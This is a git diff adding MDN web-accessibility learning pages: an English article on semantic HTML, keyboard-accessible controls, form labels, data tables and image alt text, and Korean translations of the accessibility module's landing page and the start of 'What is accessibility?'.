+<p>If you try to navigate this using a screenreader, it will probably tell you that there's a table to be looked at (although some screenreaders can guess the difference between table layouts and data tables). You'll then likely (depending on which screenreader you're using) have to go down into the table as an object and look at its features separately, then get out of the table again to carry on navigating the content.</p>
+
+<p>Table layouts are a relic of the past — they made sense back when CSS support was not widespread in browsers, but they create confusion for screenreader users, as well as being bad for many other reasons (abuse of tables, arguably requires more markup, make designs more inflexible). Don't do it!</p>
+
+<p>You can verify these claims by comparing your previous experience with a <a href="http://mdn.github.io/learning-area/html/introduction-to-html/document_and_website_structure/">more modern website structure example</a>, which could look something like this:</p>
+
+<pre class="brush: html">&lt;header&gt;
+  &lt;h1&gt;Header&lt;/h1&gt;
+&lt;/header&gt;
+
+&lt;nav&gt;
+  &lt;!-- main navigation in here --&gt;
+&lt;/nav&gt;
+
+&lt;!-- Here is our page's main content --&gt;
+&lt;main&gt;
+
+  &lt;!-- It contains an article --&gt;
+  &lt;article&gt;
+    &lt;h2&gt;Article heading&lt;/h2&gt;
+
+    &lt;!-- article content in here --&gt;
+  &lt;/article&gt;
+
+  &lt;aside&gt;
+    &lt;h2&gt;Related&lt;/h2&gt;
+
+    &lt;!-- aside content in here --&gt;
+  &lt;/aside&gt;
+
+&lt;/main&gt;
+
+&lt;!-- And here is our main footer that is used across all the pages of our website --&gt;
+
+&lt;footer&gt;
+  &lt;!-- footer content in here --&gt;
+&lt;/footer&gt;</pre>
+
+<p>If you try our more modern structure example with a screenreader, you'll see that the layout markup no longer gets in the way and confuses the content readout. It is also much leaner and smaller in terms of code size, which means easier to maintain code, and less bandwidth for the user to download (particularly prevalent for those on slow connections).</p>
+
+<p>Another consideration when creating layouts is using HTML5 semantic elements as seen in the above example (see <a href="/en-US/docs/Web/HTML/Element#Content_sectioning">content sectioning</a>) — you can create a layout using only nested {{htmlelement("div")}} elements, but it is better to use appropriate sectioning elements to wrap your main navigation ({{htmlelement("nav")}}), footer ({{htmlelement("footer")}}), repeating content units ({{htmlelement("article")}}), etc. These provide extra semantics for screenreaders (and other tools) to give user extra clues about the content they are navigating (see <a href="http://www.weba11y.com/blog/2016/04/22/screen-reader-support-for-new-html5-section-elements/">Screen Reader Support for new HTML5 Section Elements</a> for an idea of what screen reader support is like).</p>
+
+<div class="note">
+<p><strong>Note</strong>: As well as your content having good semantics and an attractive layout, it should make logical sense in its source order — you can always place it where you want using CSS later on, but you should get the source order right to start with, so what screenreader users get read out to them will make sense.</p>
+</div>
+
+<h3 id="UI_controls">UI controls</h3>
+
+<p>By UI controls, we mean the main parts of web documents that users interact with — most commonly buttons, links, and form controls. In this section we'll look at the basic accessibility concerns to be aware of when creating such controls. Later articles on WAI-ARIA and multimedia will look at other aspects of UI accessibility.</p>
+
+<p>One key aspect to the accessibility of UI controls is that by default, browsers allow them to be manipulated by the keyboard. You can try this out using our <a href="http://mdn.github.io/learning-area/tools-testing/cross-browser-testing/accessibility/native-keyboard-accessibility.html">native-keyboard-accessibility.html</a> example (see the <a href="https://github.com/mdn/learning-area/blob/master/tools-testing/cross-browser-testing/accessibility/native-keyboard-accessibility.html">source code</a>) — open this in a new tab, and try pressing the tab key; after a few presses, you should see the tab focus start to move through the different focusable elements; the focused elements are given a highlighted default style in every browser (it differs slightly between different browsers) so that you can tell what element is focused.</p>
+
+<p><img alt="" src="https://mdn.mozillademos.org/files/14215/button-focused-unfocused.png" style="border-style: solid; border-width: 1px; display: block; height: 39px; margin: 0px auto; width: 288px;"></p>
+
+<p>You can then press Enter/Return to follow a focused link or press a button (we've included some JavaScript to make the buttons alert a message), or start typing to enter text in a text input (other form elements have different controls, for example the {{htmlelement("select")}} element can have its options displayed and cycled between using the up and down arrow keys).</p>
+
+<div class="note">
+<p><strong>Note</strong>: Different browsers may have different keyboard control options available. See <a href="/en-US/docs/Learn/Tools_and_testing/Cross_browser_testing/Accessibility#Using_native_keyboard_accessibility">Using native keyboard accessibility</a> for more details.</p>
+</div>
+
+<p>You essentially get this behavior for free, just by using the appropriate elements, e.g.</p>
+
+<pre class="brush: html example-good">&lt;h1&gt;Links&lt;/h1&gt;
+
+&lt;p&gt;This is a link to &lt;a href="https://www.mozilla.org"&gt;Mozilla&lt;/a&gt;.&lt;/p&gt;
+
+&lt;p&gt;Another link, to the &lt;a href="https://developer.mozilla.org"&gt;Mozilla Developer Network&lt;/a&gt;.&lt;/p&gt;
+
+&lt;h2&gt;Buttons&lt;/h2&gt;
+
+&lt;p&gt;
+  &lt;button data-message="This is from the first button"&gt;Click me!&lt;/button&gt;
+  &lt;button data-message="This is from the second button"&gt;Click me too!&lt;/button&gt;
+  &lt;button data-message="This is from the third button"&gt;And me!&lt;/button&gt;
+&lt;/p&gt;
+
+&lt;h2&gt;Form&lt;/h2&gt;
+
+&lt;form&gt;
+  &lt;div&gt;
+    &lt;label for="name"&gt;Fill in your name:&lt;/label&gt;
+    &lt;input type="text" id="name" name="name"&gt;
+  &lt;/div&gt;
+  &lt;div&gt;
+    &lt;label for="age"&gt;Enter your age:&lt;/label&gt;
+    &lt;input type="text" id="age" name="age"&gt;
+  &lt;/div&gt;
+  &lt;div&gt;
+    &lt;label for="mood"&gt;Choose your mood:&lt;/label&gt;
+    &lt;select id="mood" name="mood"&gt;
+      &lt;option&gt;Happy&lt;/option&gt;
+      &lt;option&gt;Sad&lt;/option&gt;
+      &lt;option&gt;Angry&lt;/option&gt;
+      &lt;option&gt;Worried&lt;/option&gt;
+    &lt;/select&gt;
+  &lt;/div&gt;
+&lt;/form&gt;</pre>
+
+<p>This means using links, buttons, form elements, and labels appropriately (including the {{htmlelement("label")}} element for form controls).</p>
+
+<p>However, it is again the case that people sometimes do strange things with HTML. For example, you sometimes see buttons marked up using {{htmlelement("div")}}s, for example:</p>
+
+<pre class="brush: html example-bad">&lt;div data-message="This is from the first button"&gt;Click me!&lt;/div&gt;
+&lt;div data-message="This is from the second button"&gt;Click me too!&lt;/div&gt;
+&lt;div data-message="This is from the third button"&gt;And me!&lt;/div&gt;</pre>
+
+<p>But using such code is not advised — you immediately lose the native keyboard accessibility you would have had if you'd just used {{htmlelement("button")}} elements, plus you don't get any of the default CSS styling that buttons get.</p>
+
+<h4 id="Building_keyboard_accessibility_back_in">Building keyboard accessibility back in</h4>
+
+<p>Adding such advantages back in takes a bit of work (you can an example code in our <a class="external external-icon" href="http://mdn.github.io/learning-area/tools-testing/cross-browser-testing/accessibility/fake-div-buttons.html">fake-div-buttons.html</a> example — also see the <a class="external external-icon" href="https://github.com/mdn/learning-area/blob/master/tools-testing/cross-browser-testing/accessibility/fake-div-buttons.html">source code</a>). Here we've given our fake <code>&lt;div&gt;</code> buttons the ability to be focused (including via tab) by giving each one the attribute <code>tabindex="0"</code>:</p>
+
+<pre class="brush: html">&lt;div data-message="This is from the first button" tabindex="0"&gt;Click me!&lt;/div&gt;
+&lt;div data-message="This is from the second button" tabindex="0"&gt;Click me too!&lt;/div&gt;
+&lt;div data-message="This is from the third button" tabindex="0"&gt;And me!&lt;/div&gt;</pre>
+
+<p>Basically, the {{htmlattrxref("tabindex")}} attribute is primarily intended to allow tabbable elements to have a custom tab order (specified in positive numerical order), instead of just being tabbed through in their default source order. This is nearly always a bad idea, as it can cause major confusion. Use it only if you really need to, for example if the layout shows things in a very different visual order to the source code, and you want to make things work more logically. There are two other options for <code>tabindex</code>:</p>
+
+<ul>
+ <li><code>tabindex="0"</code> — as indicated above, this value allows elements that are not normally tabbable to become tabbable. This is the most useful value of <code>tabindex</code>.</li>
+ <li><code>tabindex="-1"</code> — this allows not normally tabbable elements to receive focus programmatically, e.g. via JavaScript, or as the target of links. </li>
+</ul>
+
+<p>Whilst the above addition allows us to tab to the buttons, it does not allow us to activate them via the Enter/Return key. To do that, we had to add the following bit of JavaScript trickery:</p>
+
+<pre class="brush: js line-numbers  language-js"><code class="language-js">document<span class="punctuation token">.</span>onkeydown <span class="operator token">=</span> <span class="keyword token">function</span><span class="punctuation token">(</span>e<span class="punctuation token">)</span> <span class="punctuation token">{</span>
+  <span class="keyword token">if</span><span class="punctuation token">(</span>e<span class="punctuation token">.</span>keyCode <span class="operator token">===</span> <span class="number token">13</span><span class="punctuation token">)</span> <span class="punctuation token">{</span> <span class="comment token">// The Enter/Return key</span>
+    document<span class="punctuation token">.</span>activeElement<span class="punctuation token">.</span><span class="function token">click</span><span class="punctuation token">(</span><span class="punctuation token">)</span><span class="punctuation token">;</span>
+  <span class="punctuation token">}</span>
+<span class="punctuation token">}</span><span class="punctuation token">;</span></code></pre>
+
+<p>Here we add a listener to the <code>document</code> object to detect when a button has been pressed on the keyboard. We check what button was pressed via the event object's <code><a href="https://developer.mozilla.org/en-US/docs/Web/API/KeyboardEvent/keyCode">keyCode</a></code> property; if it is the keycode that matches Return/Enter, we run the function stored in the button's <code>onclick</code> handler using <code>document.activeElement.click()</code>. <code><a href="https://developer.mozilla.org/en-US/docs/Web/API/Document/activeElement">activeElement</a></code> gives us the element that is currently focused on the page.</p>
+
+<p>This is a lot of extra hassle to build the functionality back in. And there's bound to be other problems with it. <strong>Better to just use the right element for the right job in the first place.</strong></p>
+
+<h4 id="Meaningful_text_labels">Meaningful text labels</h4>
+
+<p>UI control text labels are very useful to all users, but getting them right is particularly important to users with disabilities.</p>
+
+<p>You should make sure that your button and link text labels are understandable and distinctive. Don't just use "Click here" for your labels, as screenreader users sometimes get up a list of buttons and form controls. The following screenshot shows our controls being listed by VoiceOver on Mac.</p>
+
+<p><img alt="" src="https://mdn.mozillademos.org/files/14335/voiceover-formcontrols.png" style="display: block; height: 604px; margin: 0px auto; width: 802px;"></p>
+
+<p>Make sure your labels make sense out of context, read on their own, as well as in the context of the paragraph they are in. For example, the following shows an example of good link text:</p>
+
+<pre class="brush: html example-good">&lt;p&gt;Whales are really awesome creatures. &lt;a href="whales.html"&gt;Find out more about whales&lt;/a&gt;.&lt;/p&gt;</pre>
+
+<p>but this is bad link text:</p>
+
+<pre class="brush: html example-bad">&lt;p&gt;Whales are really awesome creatures. To find more out about whales, &lt;a href="whales.html"&gt;click here&lt;/a&gt;.&lt;/p&gt;</pre>
+
+<div class="note">
+<p><strong>Note</strong>: You can find a lot more about link implementation and best practices in our <a href="/en-US/docs/Learn/HTML/Introduction_to_HTML/Creating_hyperlinks">Creating hyperlinks</a> article. You can also see some good and bad examples at <a href="http://mdn.github.io/learning-area/accessibility/html/good-links.html">good-links.html</a> and <a href="http://mdn.github.io/learning-area/accessibility/html/bad-links.html">bad-links.html</a>.</p>
+</div>
+
+<p>Form labels are also important, for giving you a clue what you need to enter into each form input. The following seems like a reasonable enough example:</p>
+
+<pre class="brush: html example-bad">Fill in your name: &lt;input type="text" id="name" name="name"&gt;</pre>
+
+<p>However, this is not so useful for disabled users. There is nothing in the above example to associate the label unambiguously with the form input, and make it clear how to fill it in if you cannot see it. If you access this with some screenreaders, you may only be given a description along the lines of "edit text".</p>
+
+<p>The following is a much better example:</p>
+
+<pre class="brush: html example-good">&lt;div&gt;
+  &lt;label for="name"&gt;Fill in your name:&lt;/label&gt;
+  &lt;input type="text" id="name" name="name"&gt;
+&lt;/div&gt;</pre>
+
+<p>With the code like this, the label will be clearly associated with the input; the description will be more like "Fill in your name: edit text".</p>
+
+<p><img alt="" src="https://mdn.mozillademos.org/files/14337/voiceover-good-form-label.png" style="display: block; margin: 0 auto;"></p>
+
+<p>As an added bonus, in most browsers associating a label with a form input means that you can click the label to select/activate the form element. This gives the input a bigger hit area, making it easier to select.</p>
+
+<div class="note">
+<p><strong>Note</strong>: you can see some good and bad form examples in <a href="http://mdn.github.io/learning-area/accessibility/html/good-form.html">good-form.html</a> and <a href="http://mdn.github.io/learning-area/accessibility/html/bad-form.html">bad-form.html</a>.</p>
+</div>
+
+<h2 id="Accessible_data_tables">Accessible data tables</h2>
+
+<p>A basic data table can be written with very simple markup, for example:</p>
+
+<pre class="brush: html">&lt;table&gt;
+  &lt;tr&gt;
+    &lt;td&gt;Name&lt;/td&gt;
+    &lt;td&gt;Age&lt;/td&gt;
+    &lt;td&gt;Gender&lt;/td&gt;
+  &lt;/tr&gt;
+  &lt;tr&gt;
+    &lt;td&gt;Gabriel&lt;/td&gt;
+    &lt;td&gt;13&lt;/td&gt;
+    &lt;td&gt;Male&lt;/td&gt;
+  &lt;/tr&gt;
+  &lt;tr&gt;
+    &lt;td&gt;Elva&lt;/td&gt;
+    &lt;td&gt;8&lt;/td&gt;
+    &lt;td&gt;Female&lt;/td&gt;
+  &lt;/tr&gt;
+  &lt;tr&gt;
+    &lt;td&gt;Freida&lt;/td&gt;
+    &lt;td&gt;5&lt;/td&gt;
+    &lt;td&gt;Female&lt;/td&gt;
+  &lt;/tr&gt;
+&lt;/table&gt;</pre>
+
+<p>But this has problems — there is no way for a screenreader user to associate rows or columns together as groupings of data. To do this you need to know what the header rows are, and if they are heading up rows, columns, etc. This can only be done visually for the above table (see <a href="http://mdn.github.io/learning-area/accessibility/html/bad-table.html">bad-table.html</a> and try the example out yourself).</p>
+
+<p>Now have a look at our <a href="https://github.com/mdn/learning-area/blob/master/css/styling-boxes/styling-tables/punk-bands-complete.html">punk bands table example</a> — you can see a few accessibility aids at work here:</p>
+
+<ul>
+ <li>Table headers are defined using {{htmlelement("th")}} elements — you can also specify if they are headers for rows or columns using the <code>scope</code> attribute. This gives you complete groups of data that can be consumed by screen readers as single units.</li>
+ <li>The {{htmlelement("caption")}} element and <code>&lt;table&gt;</code> <code>summary</code> attribute both do similar jobs — they act as alt text for a table, giving a screen reader user a useful quick summary of the table's contents. <code>&lt;caption&gt;</code> is generally preferred as it makes it's content accessible to sighted users too, who might also find it useful. You don't really need both.</li>
+</ul>
+
+<div class="note">
+<p><strong>Note</strong>: See our <a href="/en-US/docs/Learn/HTML/Tables/Advanced">HTML table advanced features and accessibility</a> article for some more details around accessible data tables.</p>
+</div>
+
+<h2 id="Text_alternatives">Text alternatives</h2>
+
+<p>Whereas textual content is inherently accessible, the same cannot necessarily be said for multimedia content — image/video content cannot be seen by visually-impaired people, and audio content cannot be heard by hearing-impaired people. We'll cover video and audio content in detail in the Accessible multimedia article later on, but for this article we'll look accessibility for the humble {{htmlelement("img")}} element.</p>
+
+<p>We have a simple example written up, <a href="http://mdn.github.io/learning-area/accessibility/html/accessible-image.html">accessible-image.html</a>, which features four copies of the same image:</p>
+
+<pre>&lt;img src="dinosaur.png"&gt;
+
+&lt;img src="dinosaur.png"
+     alt="A red Tyrannosaurus Rex: A two legged dinosaur standing upright like a human, with small arms, and a large head with lots of sharp teeth."&gt;
+
+&lt;img src="dinosaur.png"
+     alt="A red Tyrannosaurus Rex: A two legged dinosaur standing upright like a human, with small arms, and a large head with lots of sharp teeth."
+     title="The Mozilla red dinosaur"&gt;
+
+
+&lt;img src="dinosaur.png" aria-labelledby="dino-label"&gt;
+
+&lt;p id="dino-label"&gt;The Mozilla red Tyrannosaurus Rex: A two legged dinosaur standing upright like a human, with small arms, and a large head with lots of sharp teeth.&lt;/p&gt;
+</pre>
+
+<p>The first image, when viewed by a screen reader, doesn't really offer the user much help — VoiceOver for example reads out "/dinosaur.png, image". It reads out the filename to try to provide some help. In this example the user will at least know it is a dinosaur of some kind, but often files may be uploaded with machine generated file names (e.g. from a digital camera) and these file names would likely provide no context to the image's content.</p>
+
+<div class="note">
+<p><strong>Note</strong>: This is why you should never include text content inside an image — screen readers simply can't access it. There are other disadvantages too — you can't select it and copy/paste it. Just don't do it!</p>
+</div>
+
+<p>When a screen reader encounters the second image, it reads out the full alt attribute — "A red Tyrannosaurus Rex: A two legged dinosaur standing upright like a human, with small arms, and a large head with lots of sharp teeth.".</p>
+
+<p>This highlights the importance of not only using meaningful file names in case so-called <strong>alt text</strong> is not available, but also making sure that alt text is provided in <code>alt</code> attributes wherever possible. Note that the contents of the <code>alt</code> attribute should always provide a direct representation of the image and what it conveys visually. Any personal knowledge or extra description shouldn't be included here, as it is not useful for people who have not come across the image before.</p>
+
+<p>One thing to consider is whether your images have meaning inside your content, or whether they are purely for visual decoration, so have no meaning. If they are decorational, it is better to just include them in the page as CSS background images.</p>
+
+<div class="note">
+<p><strong>Note</strong>: Read <a href="/en-US/docs/Learn/HTML/Multimedia_and_embedding/Images_in_HTML">Images in HTML</a> and <a href="/en-US/docs/Learn/HTML/Multimedia_and_embedding/Responsive_images">Responsive images</a> for a lot more information about image implementation and best practices.</p>
+</div>
+
+<p>If you do want to provide extra contextual information, you should put it in the text surrounding the image, or inside a <code>title</code> attribute, as shown above. In this case, most screenreaders will read out the alt text, the title attribute, and the filename. In addition, browsers display title text as tooltips when moused over.</p>
+
+<p><img alt="" src="https://mdn.mozillademos.org/files/14333/title-attribute.png" style="display: block; margin: 0 auto;"></p>
+
+<p>Let's have another quick look at the fourth method:</p>
+
+<pre class="brush: html">&lt;img src="dinosaur.png" aria-labelledby="dino-label"&gt;
+
+&lt;p id="dino-label"&gt;The Mozilla red Tyrannosaurus ... &lt;/p&gt;</pre>
+
+<p>In this case, we are not using the <code>alt</code> attribute at all — instead, we have presented our description of the image as a regular text paragraph, given it an <code>id</code>, and then used the <code>aria-labelledby</code> attribute to refer to that <code>id</code>, which causes screenreaders to use that paragraph as the alt text/label for that image. This is especially useful if you want to use the same text as a label for multiple images — something that isn't possible with <code>alt</code>.</p>
+
+<div class="note">
+<p><strong>Note</strong>: <code>aria-labelledby</code> is part of the <a href="https://www.w3.org/TR/wai-aria-1.1/">WAI-ARIA</a> spec, which allows developers to add in extra semantics to their markup to improve screenreader accessibility where needed. To find out more about how it works, read our <a href="/en-US/docs/Learn/Accessibility/WAI-ARIA_basics">WAI-ARIA Basics</a> article.</p>
+</div>
+
+<h3 id="Other_text_alternative_mechanisms">Other text alternative mechanisms</h3>
+
+<p>Images also have another mechanisms available for providing descriptive text. For example, there is a <code>longdesc</code> attribute that is meant to point to a separate web document containing an extended description of the image, for example:</p>
+
+<pre class="brush: html">&lt;img src="dinosaur.png" longdesc="dino-info.html"&gt;</pre>
+
+<p>This sounds like a good idea, especially for infographics like big charts with lots of information on that could perhaps be represented as an accessible data table instead (see previous section). However, <code>longdesc</code> is not supported consistently by screenreaders, and the content is completely inaccessible to non-screenreader users. It is arguably much better to include the long description on the same page as the image, or link to it with a regular link.</p>
+
+<p>HTML5 includes two new elements — {{htmlelement("figure")}} and {{htmlelement("figcaption")}} — which are supposed to associate a figure of some kind (it could be anything, not necessarily an image) with a figure caption:</p>
+
+<pre class="brush: html">&lt;figure&gt;
+  &lt;img src="dinosaur.png" alt="The Mozilla Tyrannosaurus"&gt;
+  &lt;figcaption&gt;A red Tyrannosaurus Rex: A two legged dinosaur standing upright like a human, with small arms, and a large head with lots of sharp teeth.&lt;/figcaption&gt;
+&lt;/figure&gt;</pre>
+
+<p>Unfortunately, most screenreaders don't seem to associate figure captions with their figures yet, but the element structure is useful for CSS styling, plus it provides a way to place a description of the image next to it in the source.</p>
+
+<h3 id="Empty_alt_attributes">Empty alt attributes</h3>
+
+<pre class="brush: html">&lt;h3&gt;
+  &lt;img src="article-icon.png" alt=""&gt;
+  Tyrannosaurus Rex: the king of the dinosaurs
+&lt;/h3&gt;</pre>
+
+<p>There may be times where an image is included in a page's design, but its primary purpose is for visual decoration. You'll notice in the code example above that the image's <code>alt</code> attribute is empty — this is to make screen readers recognize the image, but not attempt to describe the image (instead they'd just say "image", or similar).</p>
+
+<p>The reason to use an empty <code>alt</code> instead of not including it is because many screen readers announce the whole image URL if no <code>alt</code> is provided.  In the above example, the image is acting as a visual decoration to the heading its associated with. In cases like this, and in cases where an image is only decoration and has no content value, you should put an empty <code>alt</code> on your images. Another alternative is to use the aria role attribute role="presentation" — this also stops screens readers from reading out alternative text.</p>
+
+<div class="note">
+<p><strong>Note</strong>: if possible you should use CSS to display images that are only decoration.</p>
+</div>
+
+<h2 id="Summary">Summary</h2>
+
+<p>You should now be well-versed in writing accessible HTML for most occasions. Our WAI-ARIA basics article will also fill in some gaps in this knowledge, but this article has taken care of the basics. Next up we'll explore CSS and JavaScript, and how accessibility is affected by their good or bad use.</p>
+
+<p>{{PreviousMenuNext("Learn/Accessibility/What_is_Accessibility","Learn/Accessibility/CSS_and_JavaScript", "Learn/Accessibility")}}</p>
+
+<p> </p>
+
+<h2 id="In_this_module">In this module</h2>
+
+<ul>
+ <li><a href="/en-US/docs/Learn/Accessibility/What_is_accessibility">What is accessibility?</a></li>
+ <li><a href="/en-US/docs/Learn/Accessibility/HTML">HTML: A good basis for accessibility</a></li>
+ <li><a href="/en-US/docs/Learn/Accessibility/CSS_and_JavaScript">CSS and JavaScript accessibility best practices</a></li>
+ <li><a href="/en-US/docs/Learn/Accessibility/WAI-ARIA_basics">WAI-ARIA basics</a></li>
+ <li><a href="/en-US/docs/Learn/Accessibility/Multimedia">Accessible multimedia</a></li>
+ <li><a href="/en-US/docs/Learn/Accessibility/Mobile">Mobile accessibility</a></li>
+ <li><a href="/en-US/docs/Learn/Accessibility/Accessibility_troubleshooting">Accessibility troubleshooting</a></li>
+</ul>
+
+<p> </p>
diff --git a/files/ko/learn/접근성/index.html b/files/ko/learn/접근성/index.html
new file mode 100644
index 0000000000..01c9c2e2bb
--- /dev/null
+++ b/files/ko/learn/접근성/index.html
@@ -0,0 +1,59 @@
+---
+title: 접근성
+slug: Learn/접근성
+tags:
+  - ARIA
+  - CSS
+  - HTML
+  - JavaScript
+  - 랜딩
+  - 모듈
+  - 문서
+  - 배우기
+  - 비기너
+  - 접근성
+translation_of: Learn/Accessibility
+---
+<div>{{LearnSidebar}}</div>
+
+<p class="summary"><font><font>웹 개발자가 되기위해서 HTML, CSS 및 JavaScript를 배우는 것이 필요하지만 배운 지식을 효과적으로 사용하기위해서는 지식이상의 기술이 필요로 합니다. 이 기술을 사용해서 웹사이트에 접근하려는 모든 사용자를 차별없이 접근할수 있도록 해야합니다.  이를 위하여</font><font> 모범 사례(</font></font><a href="https://developer.mozilla.org/ko/docs/Learn/HTML"><font><font>HTML</font></font></a><font><font>, </font></font><a href="https://developer.mozilla.org/ko/docs/Learn/CSS"><font><font>CSS</font></font></a><font><font> 및 </font></font><a href="https://developer.mozilla.org/ko/docs/Learn/JavaScript"><font><font>JavaScript</font></font></a><font><font> 항목에서 설명) </font><font>를 준수하고 </font></font><a href="https://developer.mozilla.org/ko/docs/Learn/Tools_and_testing/Cross_browser_testing"><font><font>브라우저 호환성 테스트를 거치며</font></font></a><font><font> 처음부터 접근성을 고려해야합니다. </font><font>이 문서에서는 후자에 대해 자세히 다룰 것입니다.</font></font></p>
+
+<h2 id="선결조건">선결조건</h2>
+
+<p><font><font>이 문서를 최대한 활용하려면 최소한 </font></font><a href="https://developer.mozilla.org/ko/docs/Learn/HTML"><font><font>HTML</font></font></a><font><font>, </font></font><a href="https://developer.mozilla.org/ko/docs/Learn/CSS"><font><font>CSS</font></font></a><font><font> 및 </font></font><a href="https://developer.mozilla.org/ko/docs/Learn/JavaScript"><font><font>JavaScript</font></font></a><font><font> 항목 </font><font>중 처음 두 문서를 </font><font>통해 작업하거나 또는 접근성 문서와 관련된 기술을 통해 개선해 나가는것이 좋습니다. </font></font></p>
+
+<div class="note">
+<p><strong>Note</strong>: <strong><font><font>참고</font></font></strong><font><font> : 당신은 당신이 당신의 자신의 파일을 생성 할 수있는 기능이없는 컴퓨터 / 태블릿 / 다른 장치에서 작업하는 경우, 당신은  </font></font><a href="http://jsbin.com/">JSBin</a> 또는 <a href="https://thimble.mozilla.org/">Thimble</a> <font><font>같은 온라인 코딩 프로그램에서 코드 예제의 대부분을 테스트 할수 있습니다.</font></font></p>
+</div>
+
+<h2 id="가이드">가이드</h2>
+
+<dl>
+ <dt><a href="/ko/docs/Learn/Accessibility/What_is_accessibility">접근성이란?</a></dt>
+ <dd>이 문서에서는 접근성이 실제로 무엇인지 자세히 살펴보는 것으로 모듈을 시작합니다. 여기에는 고려해야 할 사람의 그룹, 웹과 상호 작용하는 데 사용하는 서로 다른 도구 및 접근성 워크 플로우를 개발하는 방법이 포함됩니다.</dd>
+ <dt><a href="/ko/docs/Learn/Accessibility/HTML">HTML: 접근성을 위한 좋은기초</a></dt>
+ <dd>항상 올바른 HTML요소를 올바른 용도로 사용하는 것만으로 수많은 웹 콘텐츠에 접근 할 수 있습니다. 이 문서는 접근성을 극대화하기 위해 HTML을 사용하는 방법을 자세히 살펴봅니다.</dd>
+ <dt><a href="/ko/docs/Learn/Accessibility/CSS_and_JavaScript">CSS 와 JavaScript의 접근성 모범 사례</a></dt>
+ <dd>또한, CSS 와 JavaScript를 적절히 사용하면 접근성 높은 웹 경험을 줄수도 있지만 , 만약 잘못 사용될 경우 접근성을 크게 해칠 수 있다. 이 문서에서는 복잡한 컨텐츠도 가능한 액세스 할 수 있도록 하기 위해 고려해야 할 몇가지 CSS 및 JavaScript모범 사례를 간략히 설명합니다.</dd>
+ <dt><a href="/ko/docs/Learn/Accessibility/WAI-ARIA_basics">WAI-ARIA 기초</a></dt>
+ <dd>이전 문서에 이어, 시맨틱하지 못한 HTML과 동적 자바 스크립트로 업데이트되는  컨텐츠를 포함하는 복잡한 UI를 제어 하는 것은 어려울 수 있습니다. WAI-ARIA는 브라우저와 보조 기술이 사용자에게 상황을 알려 주는 데 사용할 수 있는 시맨틱한 요소를 추가하여 이러한 문제를 해결하는 기술이다. 여기서는 접근성을 향상시키기 위해 기본적인 수준에서 이 기능을 사용하는 방법을 보여 줍니다.</dd>
+ <dt><a href="/ko/docs/Learn/Accessibility/Multimedia">멀티미디어 접근성</a></dt>
+ <dd>접근성 문제를 야기할 수 있는 또 다른 범주의 콘텐츠 즉 멀티 미디어 . 비디오, 오디오 및 이미지 콘텐츠에 적절한 대체텍스트를 제공해서 보조 기술과 사용자가 이해할 수 있도록 해야 한다. 이 글은 그 방법을 보여 준다.</dd>
+ <dt><a href="/ko/docs/Learn/Accessibility/Mobile">모바일 접근성</a></dt>
+ <dd>모바일 기기를 이용한 웹 접근이 매우 널리 사용되고 있고 iOS및 Android와 같은 유명한 플랫폼에서 액세스가 가능한 툴을 사용하는 경우, 이러한 플랫폼에서 웹 콘텐츠를 접근 할 수 있는지를 고려해야 합니다. 이 자료에서는 모바일 접근성 고려 사항에 대해 살펴봅니다.</dd>
+</dl>
+
+<h2 id="평가">평가</h2>
+
+<dl>
+ <dt><a href="/ko/docs/Learn/Accessibility/Accessibility_troubleshooting">접근성 문제 해결 </a></dt>
+ <dd>평가에서는 진단 및 해결해야 하는 다양한 접근성 문제가 포함된 간단한 사이트를 제공합니다.</dd>
+</dl>
+
+<h2 id="참고_항목">참고 항목</h2>
+
+<ul>
+ <li><a href="https://egghead.io/courses/start-building-accessible-web-applications-today">Start Building Accessible Web Applications Today</a> — an excellent series of video tutorials by Marcy Sutton.</li>
+ <li><a href="https://dequeuniversity.com/resources/">Deque University resources</a> — includes code examples, screen reader references, and other useful resources.</li>
+ <li><a href="http://webaim.org/resources/">WebAIM resources</a> — includes guides, checklists, tools, and more.</li>
+</ul>
diff --git a/files/ko/learn/접근성/what_is_accessibility/index.html b/files/ko/learn/접근성/what_is_accessibility/index.html
new file mode 100644
index 0000000000..67f4b6d302
--- /dev/null
+++ b/files/ko/learn/접근성/what_is_accessibility/index.html
@@ -0,0 +1,205 @@
+---
+title: What is accessibility?
+slug: Learn/접근성/What_is_accessibility
+translation_of: Learn/Accessibility/What_is_accessibility
+---
+<p>{{LearnSidebar}}</p>
+
+<p>{{NextMenu("Learn/Accessibility/HTML", "Learn/Accessibility")}}</p>
+
+<p>이 글에서는 접근성이 실제로 무엇인지 자세히 살펴보기로 합니다. 이 글에는 웹에서 고려해야 할 사람의 그룹, 웹과 상호 작용하는 데 사용하는 서로 다른 도구 및 접근성 개발 워크 플로우를 포함됩니다.</p>
+
+<table class="learn-box standard-table">
+ <tbody>
+  <tr>
+   <th scope="row">선행지식:</th>
+   <td>기본적인 컴퓨터 사용 능력, HTML과 CSS에 대한 기본적인 이해.</td>
+  </tr>
+  <tr>
+   <th scope="row">목표:</th>
+   <td>접근성과 친해지기. 웹 개발자로서 접근성에어떻게 영향을 미치는지 알아보기</td>
+  </tr>
+ </tbody>
+</table>
+
+<h2 id="그렇다면_접근성이란_무엇일까요">그렇다면 접근성이란 무엇일까요?</h2>
+
+<p>접근성은 가능한 한 많은 사람이 웹 사이트를 사용할 수 있도록 하는 방법으로, 통상적으로 장애인만을 대상으로 한다고 생각하지만 실제로는 모바일 장치를 사용하는 사람이나 느린 네트워크 연결을 사용하는 사람들도 포함하고 있습니다.</p>
+
+<p>접근성을 모든 사람을 동일하게 대하고, 그들의 능력이나 상황에 상관 없이 그들에게 같은 기회를 주는 것으로 생각할 수도 있습니다. 휠체어에 있기 때문에 누군가를 물리적 건물에서 제외시키는 것이 옳지 않은 것과 같은 방식으로(공공 건물에는 일반적으로 휠체어 경사로나 엘리베이터가 있기 때문에), 휴대 전화를 사용하지 않는 사람을 웹 사이트에서 제외시키는 것도 옳지 않다. 우리는 모두 다르지만, 모두 인간이기 때문에, 동일한 권리를 갖고 있다.</p>
+
+<p>접근성은 당연히 지켜져야 할 일이지만 일부 국가에서는 법의 일부이기도 하며,  서비스 사용이나 제품 구매가 불가능했던 사람들을 불러모아 중요한 소비자들로 만들수도 있습니다.</p>
+
+<p>접근성 및 이에 따른 모범 사례는 다음과 같은 모든 사람에게 도움이 될 수 있습니다.</p>
+
+<ul>
+ <li>시맨틱한 HTML (접근성이 향상된)은 SEO 향상시켜,  사이트를 찾기 쉽고 시장성이 있도록 해준다.</li>
+ <li>접근성에 대해 고려하는것은 좋은 윤리적인 도덕 관념을 보여 주는데, 이것은 서비스의 대중적인 이미지를 개선시킵니다.</li>
